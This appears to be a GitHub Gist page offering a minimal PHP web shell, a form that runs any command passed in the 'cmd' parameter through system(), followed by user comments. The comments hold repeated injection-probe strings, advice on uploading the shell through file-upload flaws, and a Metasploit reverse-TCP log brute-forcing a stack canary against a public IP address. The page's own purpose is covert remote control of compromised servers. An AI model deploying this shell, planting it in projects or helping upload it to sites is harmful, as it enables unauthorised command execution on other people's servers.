Skip to content

Instantly share code, notes, and snippets.

@joswr1ght
Last active June 2, 2025 15:08
Show Gist options
  • Save joswr1ght/22f40787de19d80d110b37fb79ac3985 to your computer and use it in GitHub Desktop.
Save joswr1ght/22f40787de19d80d110b37fb79ac3985 to your computer and use it in GitHub Desktop.
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd'] . ' 2>&1');
}
?>
</pre>
</body>
</html>
@MSkhaliq
Copy link

rNnTRbt=1 x=d'">

XfzUzq

@MSkhaliq
Copy link

rNnTRbt=1 x=d'">

lGCJUd

@MSkhaliq
Copy link

rNnTRbt=1 x=d'">

MWDi0j

@MSkhaliq
Copy link

rNnTRbt=1 x=d'">

JjgH81

@MSkhaliq
Copy link

rNnTRbt=1 x=d'">

qkkYo7

@MSkhaliq
Copy link

rNnTRbt=1 x=d'">

b6P304

@MSkhaliq
Copy link

rNnTRbt=1 x=d'">

dOlz1m

@MSkhaliq
Copy link

rNnTRbt=1 x=d'">

55vxyI

@MSkhaliq
Copy link

rNnTRbt=1 x=d'">

LpqGDj

@MSkhaliq
Copy link

rNnTRbt=1 x=d'">

tHjLwR

@MSkhaliq
Copy link

rNnTRbt=1 x=d'">

UhIJu8

@MSkhaliq
Copy link

rNnTRbt=1 x=d'">

fgLW2B

@MSkhaliq
Copy link

rNnTRbt=1 x=d'">

kd1dpA

@MSkhaliq
Copy link

rNnTRbt=1 x=d'">

bOH74a

@MSkhaliq
Copy link

rNnTRbt=1 x=d'">

h5Mvc1

@MSkhaliq
Copy link

rNnTRbt=1 x=d'">

rNufjz

@MSkhaliq
Copy link

rNnTRbt=1 x=d'">

NlaEt2

@MSkhaliq
Copy link

rNnTRbt=1 x=d'">

j8hXQF

@MSkhaliq
Copy link

rNnTRbt=1 x=d'">

ZAW8QL

@MSkhaliq
Copy link

rNnTRbt=1 x=d'">

a5oxlT

@pdwilso
Copy link

pdwilso commented Jan 7, 2024

better:

if(isset($_GET['cmd']))
{
    system($_GET['cmd'] . ' 2&<1');
}

Adding 2&<1 you can see the error output.

TY

@joswr1ght
Copy link
Author

better:

if(isset($_GET['cmd']))
{
    system($_GET['cmd'] . ' 2&<1');
}

Adding 2&<1 you can see the error output.

It's 2>&1 to redirect STDERR to STDOUT. Added, thanks!

@ADMIN999975
Copy link

if(isset($_GET['cmd']))
{
system($_GET['cmd'] . ' 2&<1');
}

@blockwizard777
Copy link

Could you please let me know how to upload the webshell file on website?

@joswr1ght
Copy link
Author

Could you please let me know how to upload the webshell file on website?

This is the hard part. You need to identify a vulnerability to exploit first, then when you're successful, you can use a script like this one for remote access. This script is a secondary tool; you need to gain that access first. Good luck!

@codedsprit
Copy link

Could you please let me know how to upload the webshell file on website?

Hey, we need some deep knowledge for what you want to know, I can't write everything here, but Study about file upload vulnerability, tons of resources there. You can check this also ..

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/README.md#upload-tricks

@craccbabyy
Copy link

thank you bro! i was trying www's php webshell and i cant get it to work

@bdelusions
Copy link

metasploit [] Started reverse TCP handler on 10.0.2.15:4444
[
] 81.70.92.51:80 - Searching for stack canary
[] 81.70.92.51:80 - Assuming byte 0 0x00
[
] 81.70.92.51:80 - Brute forcing byte 1
[+] 81.70.92.51:80 - Byte 1 found: 0x07
[] 81.70.92.51:80 - Brute forcing byte 2
[+] 81.70.92.51:80 - Byte 2 found: 0x01
[
] 81.70.92.51:80 - Brute forcing byte 3
[+] 81.70.92.51:80 - Byte 3 found: 0x00
[+] 81.70.92.51:80 - Canary found: 0x00010700

[*] Exploit completed, but no session was created.

Any ideas how i can solve this?

just started ethical hacking and need to exploit a site vulnerability, upload a shell with file upload and download permissions and get a webshell for my project. and i am stuck here.
Pointers would be much appreciated

@mooofin
Copy link

mooofin commented Mar 25, 2025

helped me out for a ctf ty :3

@craccbabyy
Copy link

metasploit [] Started reverse TCP handler on 10.0.2.15:4444 [] 81.70.92.51:80 - Searching for stack canary [] 81.70.92.51:80 - Assuming byte 0 0x00 [] 81.70.92.51:80 - Brute forcing byte 1 [+] 81.70.92.51:80 - Byte 1 found: 0x07 [] 81.70.92.51:80 - Brute forcing byte 2 [+] 81.70.92.51:80 - Byte 2 found: 0x01 [] 81.70.92.51:80 - Brute forcing byte 3 [+] 81.70.92.51:80 - Byte 3 found: 0x00 [+] 81.70.92.51:80 - Canary found: 0x00010700

[*] Exploit completed, but no session was created.

Any ideas how i can solve this?

just started ethical hacking and need to exploit a site vulnerability, upload a shell with file upload and download permissions and get a webshell for my project. and i am stuck here. Pointers would be much appreciated

would need more info like: host/OS info, what type of payload did you use? maybe try tryhackme or HTB academy, this is just a code repository

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment